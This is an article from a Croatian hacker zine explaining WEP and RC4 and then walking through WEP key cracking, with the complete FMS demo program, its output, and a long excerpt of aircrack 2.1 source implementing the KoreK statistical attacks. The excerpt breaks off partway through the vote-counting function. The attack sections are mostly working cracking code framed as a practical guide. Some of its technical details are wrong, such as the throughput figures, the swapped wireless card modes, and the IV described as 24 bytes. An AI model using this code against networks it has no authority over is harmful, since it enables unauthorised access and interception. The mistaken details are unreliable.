                                
                           ...................
                     ...::: phearless zine #1 :::...
                  
...................>---[ Wireless: Under the hood ]---<.....................

...........................>---[ by argv ]---<..............................
                                                daemon.echo[at]gmail[dot]com

Sadrzaj:

    [1]  Intro

    [2]  Enkripcija

    [3]  Algoritmi

    [4]  Smashing the WEP

    [5]  Smashing the WEP again
    


////////////////////////////////////////////////////////////////////////////
--==<[ 1. Intro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Bezicne mreze postoje vec duze vrijeme, ali u zadnjih par godina cijenom 
su postale dostupne i obicnim korisnicima. Oprema za bezicno umrezavanje je
danas vrlo jeftina i dostupna svima. Ako imate stolno racunalo potrebna vam 
je kartica s malom antenom (PCI sucelje), a ako imate laptop baziran na 
Centrino platformi onda ste potpuno spremni za bezicno umrezavanje jer 
Centrino dolazi s 802.11b/g mreznim adapterom i pripadajucom antenom (antena 
se obicno nalazi u okviru monitora). 
    Svrha teksta je upoznavanje sa tehnickim karakteristikama i sigurnosnim 
propustima koji su otkriveni u radu bezicnih mreza.
    Bezicne mreze trenutno imaju 3 standarda, to su: 802.11a, 802.11b i 
802.11g standardi. Razlike izmedju tih standarda su prikazani u tablici:

------------------------------------------------------
Standard           || 802.11a || 802.11b || 802.11g ||
------------------------------------------------------
Frekvencija rada   || 5GHz    || 2,4GHz  || 2,4GHz  ||  
------------------------------------------------------
Propusnost         || 5,4mb/s || 1,1mb/s || 5,4mb/s ||
------------------------------------------------------
Realna propusnost  || 2,5mb/s || 500kb/s || 2mb/s   ||
------------------------------------------------------
Doseg              || 10-25m  || 20-40m  || 20-40m  ||
------------------------------------------------------

    Danas je najpopularniji 802.11g standard koji odnosom cijene/mogucnosti
daje najbolje rezultate, medjutim umrezavanje  bezicnim putem ima vise 
problema nego zicano umrezavanje zbog cinjenice da ce se WLAN kartice s 
vremenom "ugusiti" zbog nemogucnosti brze obrade velikih kolicina paketa. 
Da bi izbjegli takve probleme, najjednostavnije rijesenje je nabavka Access 
Pointa. Access Point je isto kao Router ili Switch kod zicanih mreza, on ce 
sluziti kao pristupna tocka svim umrezenim racunalima tako sto ce primati 
sve pakete od umrezenih racunala i proslijedjivati ih na odrediste i tako 
skinuti teret obrade paketa s WLAN kartica. WLAN kartice mogu raditi na 2 
nacina, prvi je Managed (najvise se koristi za P2P umrezavanje bez access 
pointa), a drugi je Ad-Hoc (vise racunala, jedan ili vise access pointa). 
    Kao i kod zicanih mreza, sav unutarnji promet se obavlja u plain text 
nacinu razmjene paketa. To znaci da ce paketi koji se izmjenjuju izmedju 
umrezenih racunala u potpunosti biti vidljivi bez potrebe za dekriptiranjem. 
Ukoliko ne postoji zastita, bezicnoj mrezi se moze pristupiti instantno, 
dovoljno je doci u domet mreze, spojiti se na mrezu i bez problema sniffati 
promet. Iako se ni s ukljucenom zastitom nemozete obraniti od upada, to ipak 
pruza odredjenu kolicinu sigurnosti ako se pravilno upotrijebi. Zastita 
bezicnih mreza se oslanja na 2 stvari, prva je enkripcija paketa koji se 
razmjenjuju izmedju umrezenih racunala za ciju je dekripciju i pristup mrezi 
potreban WEP kljuc, a druga verifikacija MAC adrese pri pokusaju spajanja na 
mrezu. Verifikacija MAC adrese je slab nacin obrane jer se MAC adresa vrlo 
lako moze spoofati da izgleda kao adresa racunala kojem je dozvoljen pristup.

////////////////////////////////////////////////////////////////////////////
--==<[ 2. Enkripcija
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Enkripcija bezicnih mreza se zasniva na WEP (Wired Equivalent Privacy) 
kljucu. Proizvodjaci WLAN kartica promoviraju svoje proizvode tako da na 
kutijama pise da njihove kartice koriste 128 bitnu enkripciju sto nije 
istina. WEP1 ima maksimalnu enkripciju 40 bita, dok WEP2 (deklarirani 128) 
ima 104 bita. WEP je orginalno zamisljen kao 40bitni kljuc, a kasnije je 
dosao WEP2 sa 104bitnim kljucem. Enkripcija se obavlja za vrijeme razmjene 
paketa izmedju umrezenih racunala. Ako nema WEP zastite, nema ni enkripcije 
i mrezi se moze lako pristupiti i sniffati promet. Kod prijenosa podataka 
bezicnim putem prvo se izracunava sadrzaj paketa. To se obavlja pomocu 
32bitnih CRC (Cyclic Redundancy Checksum) funkcija koje se jos nazivaju i 
CRC32. Paket se nalazi na kraju jer je u plain text obliku - bez enkripcije. 
Formula tog izracunavanja je: 

S = CRC32(P)

S -> cijeli sadrzaj paketa
P -> plain text paket 

    Nakon sto je izracunat sadrzaj paketa, tada pocinje enkripcija. Uvijek 
se prvo mora izracunati plain text da bi se na osnovu njega mogao napraviti 
isti taj, ali enkriptirani tekst. WEP koristi inicijalizacijske vektore (IV) 
za preuzimanje i daljnje distribuiranje paketa. Inicijalizacijski vektor se 
sastoji od 24 bajta koji sadrze odredjen broj bitova koji se generiraju za 
svaki paket. Nakon sto se plain text enkriptira, potrebno je napraviti 
sifrirani niz koji ce predstavljati taj paket.

Inicijalizacijski vektor + WEP = enkriptirani tekst. 

    Zatim RC4 algoritam od enkriptiranog teksta izradjuje niz brojeva/slova 
koji ce predstavljati sifrirani niz enkriptiranog paketa i tek tada se paket
prenosi preko mreze. Kada enkriptirani paket dodje na drugo racunalo, on se 
dekriptira u obrnutom redoslijedu, i to se ponavlja za svaki novi paket.



////////////////////////////////////////////////////////////////////////////
--==<[ 3. Algoritmi (RC4 = KSA+PRGA)
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    RC4 algoritam je veoma jednostavan algoritam, i ako se koristi pravilno
vrlo je siguran, medjutim WEP i RC4 algoritam ne suradjuju bas dobro sto je 
dovelo do otkrivanja raznih ranjivosti. 
    RC4 se sastoji od 2 zasebna algoritma: KSA (Key Scheduling Algorithm) i 
PRGA (Pseudo Random Generation Algorithm). Oba algoritma koriste 8-by-8 S-box 
mrezu od 256 brojeva koji su isti i variraju od 0-255. Znaci, svi brojevi od 
0-255 postoje u mrezi, ali su izmjesani na razlicite nacine. Prvo KSA mijesa 
brojeve ovisno o sadrzaju enkriptiranog teksta, zatim se S-box menja ovisno 
o outputu niza koje je generirao KSA. Kada je paket enkriptiran i spreman za 
slanje, PRGA generira sifrirani enkriptirani niz i zatim se paket prenosti 
preko mreze, i isti tak postupak se ponavlja svaki put kada se novi paket 
enkriptira. 

Ovako otprilike izgleda rad KSA i PRGA algoritama:

// KSA

j = 0;
for i = 0 to 255
{
   j = (j + S[i] + K[i]) mod 256; // S i K predstavljaju arraye od 255 bitova
   swap S[i] and S[j];
}

    Kada ovaj proces zavrsi S-box je izmjesan na osnovi sadrzaja paketa, i 
zatim PRGA generira sifrirani niz iz S-box-a:

// PRGA

i = (i + 1) mod 256;
j = (j + S[i]) mod 256;
swap S[i] and S[j];
t = (S[i] + S[j]) mod 256;
Output the value of S[t];

    output bajta iz S[t] je prvi bajt sifriranog niza, a algoritam se 
ponavlja za svaki bajt koji je u S-boxu kako bi generirao potpuni sifrirani 
niz originalnog paketa.



////////////////////////////////////////////////////////////////////////////
--==<[ 4. Smashing the WEP 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    FMS (Fluhrer, Mantin, Shamir) je prvo otkrivena slabost koja se moze 
koristiti protiv WEP enkripcije. Kako sam naveo prije, RC4 algoritam i WEP 
ne suradjuju bas dobro. 
    FMS iskoristava slabosti u KSA algoritmu i Inicijalizacijskim vektorima 
(IV). Postoje slabi inicijalizacijski vektori koji omogucavaju da se prvi 
bajt enkriptiranog teksta vidi. Posto se originalni kljuc ponavlja stalno, a 
IV mijenja, dugotrajnom analizom paketa moze se otkriti prvi bajt, a zatim i 
cijeli WEP kljuc. Prvi bajt u 802.11g/g mrezama je uvijek 0xAA pa ga je lako 
otkriti i zatim nastaviti sa dekripcijom cijelog WEP kljuca.
    FMS napad se prvo oslanja na otkrivanje slabih inicijalizacijskih 
vektora. Inicijalizacijski vektori u WEP-u imaju 24 bita (3 bajta). Slabi IV 
vektori imaju formu: 

A+3, N-1, X

A = slabi bajt
N = vrijednost od 256
X = bilo koja vrijednost

Ako se napada nulti bajt sifriranog niza moguca su 256 slabih IV-ova u formi: 

3, 255, X 

X moze biti od 0-255. Bajtovi se moraju desifrirati po redu. Prvi bajt se ne
moze desifrirati sve dok nam nije poznat nulti bajt.

    Algoritam dekriptiranja je relativno jednostavan. Prvo prolazi kroz A+3 
u KSA algoritamu. Ovo se moze napraviti bez  posjedovanja WEP kljuca jer 
slabi IV zauzima prva tri bajta nekog paketa. Ako se otkrije nulti bajt i A 
je jednako 1, prelazi na cetvrti korak dekriptiranja jer su nam sad poznata 
prva 4 bajta. Tijekom otkrivanja nultog bajta dogodio se poremecaj unutar 
KSA algoritma, i ako je S[0] ili S[1] proces se resetira, u protivnim uzima 
vrijednost 'j' i vrijednost S[A+3] i oduzima ga od prvog bajta sto name daje 
prvi dekriptirani (desifrirani) bajt. Potrebno je oko 60 IV-ova da bi se 
vjerovatnost tocnog dekriptiranja (desifriranja) popela preko 50%. Nakon sto 
se otkrije prvi bajt cijeli proces se ponavlja dok ne dobijemo cijeli kljuc.
    Iako je ovaj napad veoma ucinkovit, problem je u tome sto je potrebno 
veoma mnogo usniffanih paketa da bi se kljuc dekriptirao. Ako ste sretni bit 
ce vam dovoljno od 4 do 5 milijuna paketa, a u nekim slucajevima i puno vise.

// FMS Vulnerability
// (seed = sadrzaj paketa)
// ---------------------------
// Source Code (c)Jon Erickson

File:fms.c

#include <stdio.h>

int RC4(int *IV, int *key)
{
   int K[256];
   int S[256];
   int seed[16];
   int i, j, k, t;

   //seed = IV + key;
   for(k=0; k<3; k++)
     seed[k] = IV[k];
   for(k=0; k<13; k++)
     seed[k+3] = key[k];

   // -= Key Scheduling Algorithm (KSA) =-
   //Initilize the arrays
   for(k=0; k<256; k++)
   {
     S[k] = k;
     K[k] = seed[k%16];
   }

   j=0;
   for(i=0; i < 256; i++)
   {
     j = (j + S[i] + K[i])%256;
     t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);
   }

   // First step of PRGA for first keystream byte

   i = 0;
   j = 0;

   i = i + 1;
   j = j + S[i];

   t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);

   k = (S[i] + S[j])%256;

   return S[k];

}
main(int argc, char *argv[])
{
  int K[256];
  int S[256];

  int IV[3];
  int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
  int seed[16];
  int N = 256;
  int i, j, k, t, x, A;
  int keystream, keybyte;

  int max_result, max_count;
  int results[256];

  int known_j, known_S;

  if(argc < 2)
  {
    printf("Usage: %s <keybyte to attack>\n", argv[0]);
    exit(0);
  }
    A = atoi(argv[1]);
    if((A > 12) || (A < 0))
    {
       printf("keybyte must be from 0 to 12.\n");
       exit(0);
    }

  for(k=0; k < 256; k++)
    results[k] = 0;

  IV[0] = A + 3;
  IV[1] = N - 1;

  for(x=0; x < 256; x++)
  {
    IV[2] = x;

    keystream = RC4(IV, key);
    printf("Using IV: (%d, %d, %d), first keystream byte is %u\n",
        IV[0], IV[1], IV[2], keystream);

    printf("Doing the first %d steps of KSA.. ", A+3);

    //seed = IV + key;
    for(k=0; k<3; k++)
      seed[k] = IV[k];
    for(k=0; k<13; k++)
      seed[k+3] = key[k];

    // -= Key Scheduling Algorithm (KSA) =-
    //Initialize the arrays
    for(k=0; k<256; k++)
    {
      S[k] = k;
      K[k] = seed[k%16];
    }

    j=0;
    for(i=0; i < (A + 3); i++)
    {
      j = (j + S[i] + K[i])%256;
      t = S[i];
      S[i] = S[j];
      S[j] = t;
    }

    if(j < 2) // If j < 2, then S[0] or S[1] have been disturbed
    {
       printf("S[0] or S[1] have been disturbed, discarding..\n");
    }
    else
    {
      known_j = j;
      known_S = S[A+3];
      printf("at KSA iteration #%d, j=%d and S[%d]=%d\n",
          A+3, known_j, A+3, known_S);
      keybyte = keystream - known_j - known_S;

      while(keybyte < 0)
        keybyte = keybyte + 256;
      printf("key[%d] prediction = %d - %d - %d = %d\n",
          A, keystream, known_j, known_S, keybyte);
      results[keybyte] = results[keybyte] + 1;
    }
  }
  max_result = -1;
  max_count = 0;

  for(k=0; k < 256; k++)
  {
     if(max_count < results[k])
     {
       max_count = results[k];
       max_result = k;
     }
   }
   printf("\nFrequency table for key[%d] (* = most frequent)\n", A);
   for(k=0; k < 32; k++)
   {
     for(i=0; i < 8; i++)
     {
       t = k+i*32;
       if(max_result == t)
         printf("%3d %2d*| ", t, results[t]);
       else
         printf("%3d %2d | ", t, results[t]);
     }
     printf("\n");
   }

   printf("\n[Actual Key] = (");
   for(k=0; k < 12; k++)
     printf("%d, ",key[k]);
   printf("%d)\n", key[12]);

   printf("key[%d] is probably %d\n", A, max_result);
} 

$ gcc -o fms fms.c
$ ./fms
Usage: ./fms <keybyte to attack>
$ ./fms 0
Using IV: (3, 255, 0), first keystream byte is 7
Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1
key[0] prediction = 7 - 5 - 1 = 1
Using IV: (3, 255, 1), first keystream byte is 211
Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
key[0] prediction = 211 - 6 - 1 = 204
Using IV: (3, 255, 2), first keystream byte is 241
Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
key[0] prediction = 241 - 7 - 1 = 233

..........itd, itd............

Frequency table for key[0] (* = most frequent)
  0  1 | 32 3 | 64 0 |  96 1 | 128 2 | 160 0 | 192 1 | 224 3 |
  1 10*| 33 0 | 65 1 |  97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
  2  0 | 34 1 | 66 0 |  98 1 | 130 1 | 162 1 | 194 1 | 226 1 |
  3  1 | 35 0 | 67 2 |  99 1 | 131 1 | 163 0 | 195 0 | 227 1 |
  4  0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |
  5  0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
  6  0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
  7  0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |
  8  3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
  9  1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |
 10  1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
 11  1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |
 12  0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
 13  2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
 14  0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
 15  0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
 16  1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |
 17  0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |
 18  1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
 19  2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |
 20  3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
 21  0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
 22  0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
 23  2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
 24  1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
 25  2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
 26  0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |
 27  0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
 28  2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
 29  1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
 30  0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
 31  0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)


    Ovaj kod napada 104bitni kljuc sa 24 bitnim IV-ovima. X je svaka moguca 
vrijednost. Nulti bajt je ovdje predodredjen, a kljuc se vec nalazi unutar 
koda (ovo je samo primjer napada.). Ne zelim ici u detalje s ovim napadom 
jer je vec  poprilicno zastario, ali ovaj napad je bitan jer se kombinira sa 
novim.



////////////////////////////////////////////////////////////////////////////
--==<[ 5. Smashing the WEP again
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Haker pod nickom KoreK prezentirao je novu ranjivost WEP-a pomocu koje 
je moguce desifrirati WEP kljuc mnogo brze i pouzdanije nego sa FMS metodom.
Iako se novi napad implementira u FMS kod, kada se implementira FMS napad 
postaje mnogo pouzdaniji i brzi. Potrebno je od 0.5 do 1.5 milijuna paketa 
da bi otkrili WEP kljuc.
    Ovo je kompletni izvorni kod za brzo i ucinkovito razbijanje WEP kljuca 
s minimalnom kolicinom usnifanih paketa. Naravno potreban vam je i sniffer 
(Kismet ili Aerodump od aircracka) da prikupite pakete i zatim otkrijete WEP 
kljuc. Source nisam mijenjao, tako da su komentari ostali na engleskom 
jeziku, al opet ako neznate engleski nema smisla da citate ovaj file.

// Source code (c)KoreK 
// ovdje je kljucni dio napada novom FMS + KoreK metodom.

enum KoreK_attacks
{
    A_u15,                      /* semi-stable  15%             */
    A_s13,                      /* stable       13%             */
    A_u13_1,                    /* unstable     13%             */
    A_u13_2,                    /* unstable ?   13%             */
    A_u13_3,                    /* unstable ?   13%             */
    A_s5_1,                     /* standard      5% (~FMS)      */
    A_s5_2,                     /* other stable  5%             */
    A_s5_3,                     /* other stable  5%             */
    A_u5_1,                     /* unstable      5% no good ?   */
    A_u5_2,                     /* unstable      5%             */
    A_u5_3,                     /* unstable      5% no good     */
    A_u5_4,                     /* unstable      5%             */
    A_s3,                       /* stable        3%             */
    A_4_s13,                    /* stable       13% on q = 4    */
    A_4_u5_1,                   /* unstable      5% on q = 4    */
    A_4_u5_2,                   /* unstable      5% on q = 4    */
    A_neg                       /* helps reject false positives */
};


// Ripped from aircrack @ http://linuxfromscratch.org/~devine/network/
// Source code (c)Christophe Devine


#include <sys/ioctl.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>

#include "pcap.h"

#define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; }

#define SUCCESS  0
#define FAILURE  1
#define INFINITY 65535

char usage[] =

"\n"
"  aircrack 2.1 - (C) 2004 Christophe Devine\n"
"\n"
"  usage: aircrack [options] <pcap file> <pcap file> ...\n"
"\n"
"      -d <start> : debug - specify beginning of the key\n"
"      -f <fudge> : bruteforce fudge factor (default: 2)\n"
"      -m <maddr> : MAC address to filter usable packets\n"
"      -n <nbits> : WEP key length: 64 / 128 / 256 / 512\n"
"      -p <nfork> : SMP support: # of processes to start\n"
"\n";

/* command-line parameters */

int debug_lvl = 0;              /* # of keybytes fixed  */
int macfilter = 0;              /* BSSID check flag     */
int stability = 0;              /* unstable attacks on  */
unsigned char debug[61];        /* user-defined wepkey  */
unsigned char maddr[6];         /* MAC address filter   */
int weplen = 13;                /* WEP key length       */
int ffact  =  2;                /* fudge threshold      */
int nfork  =  1;                /* number of forks      */

/* runtime global data */

unsigned char buffer[65536];    /* buffer for reading packets   */
unsigned char wepkey[61];       /* the current chosen WEP key   */
unsigned char *ivbuf;           /* buffer for the unique IVs    */
unsigned long nb_ivs;           /* number of elements in ivbuf  */
unsigned long tried;            /* total # of keys tried so far */
time_t tm_start, tm_prev;       /* for displaying elapsed time  */
char *test_unique_ivs;          /* to avoid adding duplicates   */
int mc_pipe[256][2];            /* master->child control pipe   */ 
int cm_pipe[256][2];            /* child->master results pipe   */
int fudge[61];                  /* bruteforce level (1 to 256)  */
int depth[61];                  /* how deep we are in the fudge */

struct byte_stat
{
    int index;
    int votes;
}
wpoll[61][256];                 /* FMS + Korek attacks: stats.  */

#define N_ATTACKS 17

enum KoreK_attacks
{
    A_u15,                      /* semi-stable  15%             */
    A_s13,                      /* stable       13%             */
    A_u13_1,                    /* unstable     13%             */
    A_u13_2,                    /* unstable ?   13%             */
    A_u13_3,                    /* unstable ?   13%             */
    A_s5_1,                     /* standard      5% (~FMS)      */
    A_s5_2,                     /* other stable  5%             */
    A_s5_3,                     /* other stable  5%             */
    A_u5_1,                     /* unstable      5% no good ?   */
    A_u5_2,                     /* unstable      5%             */
    A_u5_3,                     /* unstable      5% no good     */
    A_u5_4,                     /* unstable      5%             */
    A_s3,                       /* stable        3%             */
    A_4_s13,                    /* stable       13% on q = 4    */
    A_4_u5_1,                   /* unstable      5% on q = 4    */
    A_4_u5_2,                   /* unstable      5% on q = 4    */
    A_neg                       /* helps reject false positives */
};

int coeff_attacks[4][N_ATTACKS] =
{
    { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, 0 },
    { 15, 13, 12, 12, 12, 5, 5, 5, 0, 0, 0, 0, 3, 13, 4, 4, 0 },
    { 15, 13,  0,  0,  0, 5, 5, 5, 0, 0, 0, 0, 0, 13, 0, 0, 0 },
    {  0, 13,  0,  0,  0, 5, 0, 0, 0, 0, 0, 0, 0,  0, 0, 0, 0 }
};

int read_ivs( char *filename )
{
    FILE *f_cap;
    int i, n, z;
    unsigned long cnt1;
    unsigned long cnt2;
    unsigned char *h80211;
    struct pcap_pkthdr pkh;
    struct pcap_file_header pfh;

    /* open the file and check the pcap header */

    printf( "Opening pcap file %s\n", filename );

    if( ( f_cap = fopen( filename, "rb" ) ) == NULL )
    {
        fprintf( stderr, "fopen(%s,rb) failed\n", filename );
        return( FAILURE );
    }

    n = sizeof( struct pcap_file_header );

    if( fread( &pfh, 1, n, f_cap ) != (size_t) n )
    {
        fprintf( stderr, "fread(pcap file header) failed\n" );
        return( FAILURE );
    }

    if( pfh.magic != TCPDUMP_MAGIC )
    {
        fprintf( stderr, "wrong magic from pcap file header\n"
                         "(got 0x%08X, expected 0x%08X)\n",
                         pfh.magic, TCPDUMP_MAGIC );
        return( FAILURE );
    }

    if( pfh.linktype != LINKTYPE_IEEE802_11 &&
        pfh.linktype != LINKTYPE_PRISM_HEADER )
    {
        fprintf( stderr, "unsupported pcap header linktype %d\n" \
                 "are you sure this is a 802.11 capture ?\n",
                 pfh.linktype );
        return( FAILURE );
    }

    tm_prev = time( NULL );

    cnt1 = cnt2 = 0;

    while( 1 )
    {
        /* every 1s, update the display */

        if( time( NULL ) - tm_prev >= 1 )
        {
            tm_prev = time( NULL );
            printf( "\rReading packets: total = %ld"
                    ", usable = %ld\r", cnt1, cnt2 );
            fflush( stdout );
        }

        /* read one packet */

        n = sizeof( pkh );

        if( fread( &pkh, 1, n, f_cap ) != (size_t) n )
            break;

        n = pkh.caplen;

        if( fread( buffer, 1, n, f_cap ) != (size_t) n )
            break;

        cnt1++;

        h80211 = buffer;

        if( pfh.linktype == LINKTYPE_PRISM_HEADER )
        {
            /* remove the prism header if necessary */

            n = *(int *)( h80211 + 4 );

            if( n < 8 || n >= (int) pkh.caplen )
                continue;

            h80211 += n; pkh.caplen -= n;
        }

        /* minimum encrypted data packet size: 40 = 24  *
         * (802.11) + 4 (IV, KeyID) + 8 (LLC) + 4 (ICV) */

        if( pkh.caplen < 40 ) continue;

        /* is it an encrypted data packet ? */

        if( ( h80211[0] & 0x0C ) != 0x08 ) continue;
        if( ( h80211[1] & 0x40 ) != 0x40 ) continue;

        /* if it's an TKIP/CCMP extended IV, skip it */

        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;

        if( ( h80211[z + 3] & 0x20 ) == 0x20 ) continue;

        /* check if the MAC address match */

        if( macfilter == 0 )
        {
            macfilter = 1;

            switch( h80211[1] & 3 )
            {
                case  0: i = 16; break;      /* DA, SA, BSSID  */
                case  1: i =  4; break;      /* BSSID, SA, DA  */
                case  2: i = 10; break;      /* DA, BSSID, SA  */
                default: i =  4; break;      /* RA, TA, DA, SA */
            }

            memcpy( maddr, h80211 + i, 6 );

            printf( "\rChoosing first WEP-encrypted BSSID"
                    " = %02X:%02X:%02X:%02X:%02X:%02X\n",
                    maddr[0], maddr[1], maddr[2],
                    maddr[3], maddr[4], maddr[5] );
        }
        else
        {
            if( ( h80211[1] & 3 ) != 3 )
            {
                if( memcmp( h80211 +  4, maddr, 6 ) &&
                    memcmp( h80211 + 10, maddr, 6 ) &&
                    memcmp( h80211 + 16, maddr, 6 ) )
                    continue;
            }
            else
            {
                if( memcmp( h80211 +  4, maddr, 6 ) &&
                    memcmp( h80211 + 10, maddr, 6 ) &&
                    memcmp( h80211 + 16, maddr, 6 ) &&
                    memcmp( h80211 + 24, maddr, 6 ) )
                continue;
            }
        }

        /* have we already seen this IV ? */

        n =   h80211[z    ]
          + ( h80211[z + 1] <<  8 )
          + ( h80211[z + 2] << 16 );

        if( test_unique_ivs[n] ) continue;

        test_unique_ivs[n] = 1;

        /* nope, add this IV and the first two encrypted bytes */

        ivbuf[nb_ivs * 5    ] = h80211[z    ];
        ivbuf[nb_ivs * 5 + 1] = h80211[z + 1];
        ivbuf[nb_ivs * 5 + 2] = h80211[z + 2];
        ivbuf[nb_ivs * 5 + 3] = h80211[z + 4];
        ivbuf[nb_ivs * 5 + 4] = h80211[z + 5];

        cnt2++; nb_ivs++;
    }

    printf( "\rReading packets: total = %ld"
            ", usable = %ld\n", cnt1, cnt2 );

    return( SUCCESS );
}

/* this routine displays a bunch of statistical   *
 * data about the current state of the FMS attack */

void show_stats( int B )
{
    time_t delta;
    struct winsize ws;
    int i, et_h, et_m, et_s;

    tm_prev = time( NULL );
    delta = tm_prev - tm_start;

    if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
    {
        ws.ws_row = 25;
        ws.ws_col = 80;
    }

    if( ! delta ) delta++;

    et_h =   delta / 3600;
    et_m = ( delta - et_h * 3600 ) / 60;
    et_s =   delta - et_h * 3600 - et_m * 60;

    printf( "\33[2;%dH\33[34;1maircrack 2.1\33[0m\n\n",
            ( ws.ws_col - 12 ) / 2 ); 

    printf( "   * Got %7ld%c unique IVs | fudge factor = %d\n",
            nb_ivs, ( nb_ivs < 600000 ) ? '!' : ' ', ffact );

    printf( "   * Elapsed time [%02d:%02d:%02d] | tried "
            "%ld keys at %ld k/m\n", et_h, et_m, et_s, tried,
            ( 60 * tried ) / delta );

    printf( "\n   KB    depth   votes\n" );

    for( i = 0; i <= B; i++ )
    {
        int j, k = ( ws.ws_col - 20 ) / 9;

        printf( "   %2d  %3d/%3d   ",
                i, depth[i], fudge[i] );

        for( j = depth[i]; j < k + depth[i]; j++ )
        {
            if( j >= 256 ) break;

            if( wpoll[i][j].votes == INFINITY )
                printf( "%02X(+inf) ", wpoll[i][j].index );
            else
                printf( "%02X(%4d) ",  wpoll[i][j].index,
                                       wpoll[i][j].votes );
        }

        printf( "\n" );
    }

    if( B < 11 )
        printf( "\33[J" );

    printf( "\n" );
}

/* safe I/O routines */

int safe_read( int fd, void *buf, size_t len )
{
    int n;
    size_t sum = 0;
    char  *off = (char *) buf;

    while( sum < len )
    {
        if( ! ( n = read( fd, (void *) off, len - sum ) ) )
            return( 0 );

        if( n < 0 && errno == EINTR ) continue;
        if( n < 0 ) return( n );

        sum += n;
        off += n;
    }

    return( sum );
}

int safe_write( int fd, void *buf, size_t len )
{
    int n;
    size_t sum = 0;
    char  *off = (char *) buf;

    while( sum < len )
    {
        if( ( n = write( fd, (void *) off, len - sum ) ) < 0 )
        {
            if( errno == EINTR ) continue;
            return( n );
        }

        sum += n;
        off += n;
    }

    return( sum );
}

/* each child performs the attacks over nb_ivs / nfork */

int calc_votes( int child )
{
    unsigned long xv, min, max;
    unsigned char R[256], jj[256];
    unsigned char S[256], Si[256];
    unsigned char K[64];

    unsigned char io1, o1, io2, o2;
    unsigned char Sq, dq, Kq, jq, q;
    unsigned char S1, S2, J2, t2;

    int i, j, B, votes[N_ATTACKS][256];

    min = 5 * ( ( (     child ) * nb_ivs ) / nfork );
    max = 5 * ( ( ( 1 + child ) * nb_ivs ) / nfork );

    for( i = 0; i < 256; i++ )
        R[i] = i;

wait_for_master:

    if( safe_read( mc_pipe[child][0], buffer, 64 ) != 64 )
    {
        perror( "in calc_votes: read()" );
        return( FAILURE );
    }

    B = (int) buffer[0];
    q = 3 + B;

    memcpy( K + 3, buffer + 1, B );
    memset( votes, 0, sizeof( votes ) );

    /*
     *                        JABBERWOCKY
     */

    for( xv = min; xv < max; xv += 5 )
    {
        memcpy( K, &ivbuf[xv], 3 );
        memcpy( S,  R, 256 );
        memcpy( Si, R, 256 );

        /*
         *      `Twas brillig, and the slithy toves
         *        Did gyre and gimble in the wabe:
         *         All mimsy were the borogoves,
         *          And the mome raths outgrabe.
         */

